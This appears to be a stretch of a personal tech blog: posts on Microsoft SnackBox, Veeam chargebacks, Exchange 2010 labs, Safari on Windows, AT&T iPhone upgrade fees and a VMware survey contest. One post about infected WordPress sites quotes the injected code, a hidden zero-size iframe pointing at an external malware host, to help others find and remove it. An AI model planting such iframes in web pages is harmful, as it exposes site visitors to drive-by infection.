SnackBox Highlights

• Provides an easy way to browse and find Microsoft Learning and community- created snacks. 
• Enables the Microsoft Learning Community to easily create snacks using the LCDS and Snack Converter tool.
• Distinguishes between community produced and Microsoft produced Snacks
• Allows users to rate snacks
• Allows us to highlight top community contributors

Alright, enough copy and paste.  Are you seriously telling me that Microsoft has created a simple way to not only create content using LCDS to share with the Learning and Education community, but respectively they have also created a venue for sharing this information with the world, including featured content? If that is the case, woohoo! :)

Though seriously, I highly encourage you to check this out, whether you’re a creator, learner or looking to be a creator/learner/educator/trainer and beyond :)

But yes, seriously, allow me to introduce “Business View” from Veeam!

While there is so much you can possibly do! and I’ll show screen shots, you can go click on the links to find out more than just the chargebacks which is all I’ll talk about.. :)

Define your chargeback model

Together with Veeam Monitor and Veeam Reporter Enterprise that provide comprehensive resource utilization and allocation information, Business View gives you the flexibility to define a chargeback model the way you want. In addition, you can easily export the VM groups’ information to a Microsoft Excel document for reporting or integration with other chargeback, inventory, or billing systems.

So I encourage you to check out Business View by Veeam, especially if managing your VMware investment is part of your job, and further trying to make it understandable to upper management :)

Disclaimer: I am in no way affiliated with Veeam, infact I think I’m a competitor? :)

Welcome Exchange 2010 to the Microsoft online Virtual Labs!

It’s literally as simple as clicking “this link” or even the image above and you’ll be ready to start playing around with, and installing Exchange 2010!

And ofcourse as always, there is a comprehensive Lab Guide (PDF) which will walk you through the journey, so whether you’re intimately familiar or have absolutely no knowledge of Exchange at all, you’re in the right place!

So, get in there, and start playing with Exchange 2010, instead of watching videos of it, of waiting until 2013 before you even consider playing with it (grin)

Let’s start with one feature which has been there for awhile

Top Sites!

It looks cool and all, and it’s very similar to the Chrome version of a similar feature, but for what it’s worth.. it looks fine and is editable to allow you to remove sites you don’t think are ‘top’ sites, like pictures of kittens in rainboots or something.  Nonetheless, a ‘usable’ feature.

The next lovely feature is support for Tab-Preview that is available in Win7 (chrome doesn’t support Tab Preview :)) So you get a view similar to this below.  Once you exceed 15 tabs though, it turns into the devil and looks like the second image.

But there is more to Safari than simply pretty looks and colors.  It also has some functionality! (Similar to Chrome).  One of those features is URL completion.   Which translates into ‘I type part of the site I want to visit and it suggests it as the default one, so I can simply hit enter’ not the IE world of things by “Do you mean this, and scroll down to find it?” Which I say ‘hellz no!” I visit the same sites hundreds of times a day, and I don’t want to have to press down, that’s two key strokes too many!

The fact that it hasn’t crashed yet, is very pleasing considering I’ve switched to a full on ‘use it for everything’ model.  And by everything I mean “Not for NetFlix because the bastards don’t support it even though they claim to”.  I still need to check it for WebEx support as well as Oracle support so I can do the rest of my work using it…. :)

Memory and CPU usage have been kind of suckish, but considering I would have 3million chrome processes before, it’s not too bad.

Grammar/Spelling checking seems pretty cool!

One function which doesn’t work at the moment.. typing searches into the URL bar results in… not a search, but instead trying to open whatever ridiculous search term you had entered!

That results in me having to hit enter ‘twice’ in order to get my search term searched!

That’s all I’ll say about it for now! We’ll see how it lasts, considering I’ve used Chrome almost exclusively for the past… since it was released in early beta.. it will be an interesting trial and experience.  One I won’t be shy to throw away if it’s not meeting my particular needs :)   So, look forward to future ‘raving’ or ‘destroying’ of this particular browser, depending upon how it is seen fit.  Oh, and it doesn’t let you view saved passwords like Chrome, which is a major negative in my book. It knows they’re there, so expose them to me, kthxbye!

I’m sure you’ve all seen this chart by now!

What they don’t share with you though, is this particular version of the Chart

Wait a minute, I don’t agree with that chart at all! It’s not $175 to cancel if you have existing service, it can’t be cheaper than it is to “Upgrade” as Apple has supplied pricing, can it be?

You’re right, I’m absolutely sorry for misleading you.  You are correct, AT&T recently introduced Prorating Cancellation Fees! “AT&T to prorate cancellation fees” So yes, for me at the moment it only costs $150 to cancel which means I have even GREATER Incentive to cancel and obtain new service.

All of this assumes you’d be willing to go so far as to cancel your service in order to obtain the latest and greatest at a lower price.  Yes, that is absolutely correct.  Because I don’t feel I should be penalized to upgrade to the latest hardware by being not only an early adopter/innovator but also by having brand loyalty to Apple and AT&T.

Furthermore, to have ‘paths’ which exist such as making it cheaper to cancel or to have you ‘transfer of service’ to someone else are just ridiculous.

Allow me to elaborate on your “other option”

I recently spoke with the AT&T Retention team and they said that Apple really put the screws to them, putting them in this position whereby it IS in fact cheaper to cancel and get new service than it is to simply provide an honorable upgrade path, so they do have as a semi-out the “Transfer of Service” plan as detailed below. (Taken from Pg13 of Reference Guide)

5.2.
Transfer of Service
Under certain circumstances you can transfer the billing responsibility on an account from the business customer to an End User and vice versa. This transfer of service usually requires that the line move to a new BAN# and a new FAN#.
Key Contacts call the Key Contact Center at:
866-ATT-SMBZ or
866-288-7629
Mon-Fri 7 am – 12 am Eastern
Sat: 9 am – 8 pm Eastern

And all of the naysayers who say that I shouldn’t go so far as to waste AT&T’s resources well beyond the extra $$ so as while the ‘front-end’ cost appears lower, in the long-term as person after person would opt to cancel instead of pony up the $200, that AT&T’s operational costs would well exceed the $200? Well, I say “suck it up, and allow me the upgrade as a Qualified Customer” because frankly I shouldn’t have to jump through hoops, and neither should AT&T.

So to sum it up, what I’m seeing is very clearly this.   Apple (not AT&T) is making me cancel my service in the effort to upgrade to the new Apple 3GS iPhone.  Infact, the incentives to cancel are clearly far better than the reasons to perform an “Early” upgrade.  I’m sorry, but the “Qualified” customers option should include people who are loyal to the brand, to the solution and to the industry; instead of simply saying “Hey you guy who buys our products? Suck on this and pay an extra $200, kthxbye!”

I did a little searching on this and all I could find was this! Help With WordPress Vulnerability and the problem is more or less indicated by the presence of the following code in your html and php files!

<iframe src="http://m-analytics.net/qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

To tell you the truth, this is pretty damn annoying! I’m still trying to track down the cause because it only hit me here (at Bluehost) where I host 7 blogs (Yes all 7 were hit) however at my other hosting service (iPower) where I host 3 blogs, I was not affected.  So I blame Bluehost! :)

Some tips (if you have shell access) to fix this, is to:

grep m-ana * –r

Then go through one by one and clean up your fricking files (omfg this sucks!) but I don’t really have the time to write a script for it, nor the scripting skillz around that ;)

So, if you’ve been affected, clean it up! If you haven’t be, hooray!

Oh, and sorry for anyone annoyed by the ‘malware site’ message popping up when visiting any of my sites!

What? Seriously?! Is everyone giving away free trips to VMWorld? Well, no. This is not a free “Trip!” this is a free “Ticket!”, thus entrance into VMWorld forgoing the $2000 fee for entry!

(Or you could win a free 8GB iPod Touch… :))

Please take the survey – click here
The goal of this survey is to better understand which applications (commercial or in-house developed) you use or develop to manage the VMware vSphere Platform. We need your feedback as it will help us understand which 3rd party vendors or tools VMware needs to focus on.
This survey should take approximately 22 minutes to complete.
We will be awarding great prizes to lucky winners.
Grand Prize – 1 Full Conference Pass to VMworld San Francisco 2009
First Prize is – 1 iPod Touch 8GB
Winners will be chosen in a random drawing
Please review the contest rules, terms, and conditions below.

Contest Information and Rules
o Survey Starts: June 17, 2009 11:59 PM PST
o Closes: Monday August 3rd, 2009 10:00 PM CST
o Winners will be announced on the Developer Center Blog: Friday August 7th 2009
o VMware employees are excluded from entering
o One entry per person
o Raffle participants must fully complete survey
o Winners will be chosen at random by VMware
o You must provide a valid corporate email address – no personal email addresses please
o This contest is for VMware customers, there is no purchase necessary to participate
o Terms and Conditions

Oh, and go here which has all the original details!

VMware vSphere & VI 3.x Management Survey – Cool prizes 1- VMworld Pass, 1- iPod 8 GB Touch